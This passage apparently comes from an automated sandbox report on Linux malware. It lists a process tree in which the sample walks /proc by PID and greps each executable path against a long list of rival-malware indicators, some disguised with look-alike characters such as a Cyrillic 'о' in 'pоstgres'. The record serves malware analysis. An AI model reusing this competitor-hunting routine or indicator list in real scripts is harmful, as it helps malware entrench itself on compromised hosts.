  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:857
- /bin/grep
  grep exe
  2⤵
  PID:860
- /bin/ls
  ls -latrh /proc/22
  2⤵
  PID:859
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:862
- /bin/grep
  grep exe
  2⤵
  PID:865
- /bin/ls
  ls -latrh /proc/228
  2⤵
  PID:864
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:867
- /bin/grep
  grep exe
  2⤵
  PID:870
- /bin/ls
  ls -latrh /proc/23
  2⤵
  PID:869
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:872
- /bin/grep
  grep exe
  2⤵
  PID:875
- /bin/ls
  ls -latrh /proc/24
  2⤵
  PID:874
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:877
- /bin/grep
  grep exe
  2⤵
  PID:880
- /bin/ls
  ls -latrh /proc/3
  2⤵
  PID:879
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:882
- /bin/grep
  grep exe
  2⤵
  PID:885
- /bin/ls
  ls -latrh /proc/316
  2⤵
  PID:884
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:887
- /bin/grep
  grep exe
  2⤵
  PID:890
- /bin/ls
  ls -latrh /proc/319
  2⤵
  PID:889
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:893
- /bin/grep
  grep exe
  2⤵
  PID:897
- /bin/ls
  ls -latrh /proc/320
  2⤵
  PID:896
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:899
- /bin/grep
  grep exe
  2⤵
  PID:903
- /bin/ls
  ls -latrh /proc/321
  2⤵
  PID:902
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:906
- /bin/grep
  grep exe
  2⤵
  PID:909
- /bin/ls
  ls -latrh /proc/350
  2⤵
  PID:908
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:912
- /bin/grep
  grep exe
  2⤵
  PID:916
- /bin/ls
  ls -latrh /proc/36
  2⤵
  PID:915
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:919
- /bin/grep
  grep exe
  2⤵
  PID:922
- /bin/ls
  ls -latrh /proc/37
  2⤵
  PID:921
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:925
- /bin/grep
  grep exe
  2⤵
  PID:929
- /bin/ls
  ls -latrh /proc/370
  2⤵
  PID:928
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:935
- /bin/grep
  grep exe
  2⤵
  PID:938
- /bin/ls
  ls -latrh /proc/372
  2⤵
  PID:937
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:941
- /bin/grep
  grep exe
  2⤵
  PID:945
- /bin/ls
  ls -latrh /proc/380
  2⤵
  PID:944
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:947
- /bin/grep
  grep exe
  2⤵
  PID:951
- /bin/ls
  ls -latrh /proc/395
  2⤵
  PID:950
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:954
- /bin/grep
  grep exe
  2⤵
  PID:958
- /bin/ls
  ls -latrh /proc/4
  2⤵
  PID:957
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:961
- /bin/grep
  grep exe
  2⤵
  PID:964
- /bin/ls
  ls -latrh /proc/470
  2⤵
  PID:963
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:966
- /bin/grep
  grep exe
  2⤵
  PID:970
- /bin/ls
  ls -latrh /proc/484
  2⤵
  PID:969
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:973
- /bin/grep
  grep exe
  2⤵
  PID:977
- /bin/ls
  ls -latrh /proc/5
  2⤵
  PID:976
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:980
- /bin/grep
  grep exe
  2⤵
  PID:983
- /bin/ls
  ls -latrh /proc/519
  2⤵
  PID:982
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:986
- /bin/grep
  grep exe
  2⤵
  PID:990
- /bin/ls
  ls -latrh /proc/520
  2⤵
  PID:989
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:992
- /bin/grep
  grep exe
  2⤵
  PID:996
- /bin/ls
  ls -latrh /proc/6
  2⤵
  PID:995
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:999
- /bin/grep
  grep exe
  2⤵
  PID:1003
- /bin/ls
  ls -latrh /proc/67
  2⤵
  PID:1002
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1006
- /bin/grep
  grep exe
  2⤵
  PID:1009
- /bin/ls
  ls -latrh /proc/680
  2⤵
  PID:1008
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1012
- /bin/grep
  grep exe
  2⤵
  PID:1016
- /bin/ls
  ls -latrh /proc/695
  2⤵
  PID:1015
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1018
- /bin/grep
  grep exe
  2⤵
  PID:1022
- /bin/ls
  ls -latrh /proc/696
  2⤵
  PID:1021
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1026
- /bin/grep
  grep exe
  2⤵
  PID:1030
- /bin/ls
  ls -latrh /proc/7
  2⤵
  - Reads runtime system information
  PID:1029
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1032
- /bin/grep
  grep exe
  2⤵
  PID:1036
- /bin/ls
  ls -latrh /proc/70
  2⤵
  PID:1035
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1040
- /bin/grep
  grep exe
  2⤵
  PID:1044
- /bin/ls
  ls -latrh /proc/700
  2⤵
  PID:1043
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1048
- /bin/grep
  grep exe
  2⤵
  PID:1051
- /bin/ls
  ls -latrh /proc/701
  2⤵
  PID:1050
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1054
- /bin/grep
  grep exe
  2⤵
  PID:1058
- /bin/ls
  ls -latrh /proc/702
  2⤵
  PID:1057
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1060
- /bin/grep
  grep exe
  2⤵
  PID:1064
- /bin/ls
  ls -latrh /proc/703
  2⤵
  PID:1063
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1068
- /bin/grep
  grep exe
  2⤵
  PID:1071
- /bin/ls
  ls -latrh /proc/708
  2⤵
  PID:1070
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1074
- /bin/grep
